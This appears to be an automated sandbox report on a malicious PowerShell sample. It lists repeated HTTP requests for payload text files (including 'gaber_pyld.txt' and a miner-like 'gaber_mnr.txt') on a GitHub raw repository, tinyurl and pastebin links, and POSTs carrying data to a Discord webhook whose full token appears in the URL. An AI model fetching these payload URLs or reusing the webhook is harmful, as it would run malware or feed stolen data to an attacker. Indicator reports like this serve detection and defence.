Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC4-c2LFiKsOg4Pe_nPc5yd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 268Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC4-c2LFiKsOg4Pe_nPc5yd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 268Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC4-c2LFiKsOg4Pe_nPc5yd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 268Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC4-c2LFiKsOg4Pe_nPc5yd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 268Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yeykydun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yeykydun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yeykydun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yeykydun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yeykydun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yeykydun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yeykydun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yeykydun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: tinyurl.com
Source: global traffic	DNS traffic detected: DNS query: pastebin.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: discord.com

Source: unknown

HTTP traffic detected: POST /api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC4-c2LFiKsOg4Pe_nPc5yd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 268Connection: Keep-Alive

Source: powershell.exe, 00000008.00000002.3093370231.0000025C42F01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: powershell.exe, 00000006.00000002.2316667668.0000021F3CC33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD8BA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2C5B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D3EA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://discord.com
Source: powershell.exe, 00000007.00000002.2863957456.0000029DE7082000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2863957456.0000029DE71C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2836119518.000001D2E23A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2836119518.000001D2E24E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000006.00000002.2316667668.0000021F3C6EF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD863E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2C06F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D3960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com
Source: powershell.exe, 0000000D.00000002.2315481593.000001D2D2555000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000F.00000002.2368883289.00000202679E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2401338467.000001775DD46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubuserconte
Source: powershell.exe, 00000006.00000002.2316667668.0000021F3C767000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD86B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2C0EA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D39D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2368883289.0000020267510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2368883289.0000020267D20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2368883289.00000202679E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2368883289.0000020267D3C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2368175917.000002553C640000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2401338467.000001775DD46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2401338467.000001775D86F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2401338467.000001775E09E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2401338467.000001775E082000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2370072716.00000209B30A0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3162111085.000001E381B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com
Source: powershell.exe, 00000015.00000002.3162111085.000001E381B16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt
Source: powershell.exe, 00000013.00000002.2401338467.000001775DD46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt
Source: powershell.exe, 00000014.00000002.2370072716.00000209B30A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt8
Source: powershell.exe, 00000013.00000002.2401338467.000001775D86F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txtBW
Source: powershell.exe, 0000000F.00000002.2368883289.0000020267510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txtb/
Source: powershell.exe, 00000006.00000002.2316667668.0000021F3B0C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD7011000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2AA41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D2331000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2368883289.00000202672F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2368175917.000002553C411000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2401338467.000001775D652000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2370072716.00000209B2E82000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3162111085.000001E3818F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.2316667668.0000021F3C767000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2316667668.0000021F3C6CD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2316667668.0000021F3C233000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2316667668.0000021F3B2E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD8369000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD7235000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD861D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD86B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2C0EA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2BD98000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2C04C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2AC65000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D393F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D2555000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D39D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D368B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tinyurl.com
Source: powershell.exe, 0000000D.00000002.2315481593.000001D2D368B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tinyurl.com/yeykydun
Source: powershell.exe, 00000008.00000002.2316892210.0000025C2AC65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tinyurl.com/yeykydunX_
Source: powershell.exe, 00000006.00000002.2316667668.0000021F3B2E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tinyurl.com/yeykydunx_D;
Source: powershell.exe, 0000000D.00000002.2315481593.000001D2D39D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tinyurl.com/yk3s8ubp
Source: powershell.exe, 0000000D.00000002.2315481593.000001D2D2555000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000006.00000002.2316667668.0000021F3CD60000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD8CAD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2C6DE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D3FCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://0.discor
Source: powershell.exe, 00000006.00000002.2316667668.0000021F3CD60000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD8CAD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2C6DE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D3FCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://0.discord.com/
Source: powershell.exe, 00000006.00000002.2316667668.0000021F3B0C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2315985194.0000029DD7011000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2316892210.0000025C2AA41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2315481593.000001D2D2331000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2368883289.00000202672F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2368175917.000002553C411000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2401338467.000001775D652000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2370072716.00000209B2E82000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3162111085.000001E3818F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000D.00000002.2836119518.000001D2E24E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000D.00000002.2836119518.000001D2E24E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000D.00000002.2836119518.000001D2E24E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
